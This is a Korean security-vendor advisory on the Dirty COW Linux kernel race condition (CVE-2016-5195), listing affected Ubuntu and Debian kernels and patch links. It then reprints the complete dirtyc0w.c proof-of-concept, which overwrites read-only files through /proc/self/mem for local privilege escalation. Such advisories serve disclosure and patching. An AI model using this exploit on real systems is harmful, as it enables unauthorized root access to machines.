상세 컨텐츠

본문 제목

Linux 커널에서 "Dirty Cow(CVE-2016-5195)" 제로데이 취약점 발견!

국내외 보안동향

by 알약(Alyac) 2016. 10. 25. 10:06

본문

Linux 커널에서 "Dirty Cow(CVE-2016-5195)" 제로데이 취약점 발견!


최근 Dirty Cow(CVE-2016-5195) 제로데이 취약점이 발견되었습니다. 해당 취약점은 약 9년 동안 리눅스 커널에 존재한 것으로 밝혀졌습니다. 이는 2007년 이후에 배포된 리눅스 커널버전 모두에 해당 취약점이 존재한다는 의미입니다. 현재 Dirty Cow 취약점은 패치가 완료된 상태입니다. 



취약점 개요


해당 취약점은 Linux 커널 내 메모리서브 시스템에 copy-on-write를 할 때, race condition을 발생시킬 수 있는 취약점입니다. 악의적인 사용자는 해당 취약점을 이용하여 루트권한을 획득할 수 있습니다. 



취약점 번호


CVE-2016-5195



취약점 영향


낮은 권한의 사용자가 해당 취약점을 이용하여 로컬권한상승을 할 수 있습니다. 



영향받는 버전


4.8.0-26.28 for Ubuntu 16.10

4.4.0-45.66 for Ubuntu 16.04 LTS

3.13.0-100.147 for Ubuntu 14.04 LTS

3.2.0-113.155 for Ubuntu 12.04 LTS

3.16.36-1+deb8u2 for Debian 8

3.2.82-1 for Debian 7

4.7.8-1 for Debian unstable



패치 방법


Linux 4.8., 4.7.9, 4.4.26 LTS로 업데이트

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 



PoC


/*


####################### dirtyc0w.c #######################


$ sudo -s


# echo this is not a test > foo


# chmod 0404 foo


$ ls -lah foo


-r-----r-- 1 root root 19 Oct 20 15:23 foo


$ cat foo


this is not a test


$ gcc -lpthread dirtyc0w.c -o dirtyc0w


$ ./dirtyc0w foo m00000000000000000


mmap 56123000


madvise 0


procselfmem 1800000000


$ cat foo


m00000000000000000


####################### dirtyc0w.c #######################


*/


#include <stdio.h>


#include <sys/mman.h>


#include <fcntl.h>


#include <pthread.h>


#include <string.h>


 


void *map;


int f;


struct stat st;


char *name;


 


void *madviseThread(void *arg)


{


  char *str;


  str=(char*)arg;


  int i,c=0;


  for(i=0;i<100000000;i++)


  {


/*


You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661


> This is achieved by racing the madvise(MADV_DONTNEED) system call


> while having the page of the executable mmapped in memory.


*/


    c+=madvise(map,100,MADV_DONTNEED);


  }


  printf("madvise %d\n\n",c);


}


 


void *procselfmemThread(void *arg)


{


  char *str;


  str=(char*)arg;


/*


You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16


>  The in the wild exploit we are aware of doesn't work on Red Hat


>  Enterprise Linux 5 and 6 out of the box because on one side of


>  the race it writes to /proc/self/mem, but /proc/self/mem is not


>  writable on Red Hat Enterprise Linux 5 and 6.


*/


  int f=open("/proc/self/mem",O_RDWR);


  int i,c=0;


  for(i=0;i<100000000;i++) {


/*


You have to reset the file pointer to the memory position.


*/


    lseek(f,map,SEEK_SET);


    c+=write(f,str,strlen(str));


  }


  printf("procselfmem %d\n\n", c);


}


 


 


int main(int argc,char *argv[])


{


/*


You have to pass two arguments. File and Contents.


*/


  if (argc<3)return 1;


  pthread_t pth1,pth2;


/*


You have to open the file in read only mode.


*/


  f=open(argv[1],O_RDONLY);


  fstat(f,&st);


  name=argv[1];


/*


You have to use MAP_PRIVATE for copy-on-write mapping.


> Create a private copy-on-write mapping.  Updates to the


> mapping are not visible to other processes mapping the same


> file, and are not carried through to the underlying file.  It


> is unspecified whether changes made to the file after the


> mmap() call are visible in the mapped region.


*/


/*


You have to open with PROT_READ.


*/


  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);


  printf("mmap %x\n\n",map);


/*


You have to do it on two threads.


*/


  pthread_create(&pth1,NULL,madviseThread,argv[1]);


  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);


/*


You have to wait for the threads to finish.


*/


  pthread_join(pth1,NULL);


  pthread_join(pth2,NULL);


  return 0;


}







참고 :

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

https://access.redhat.com/security/cve/CVE-2016-5195

관련글 더보기

댓글 영역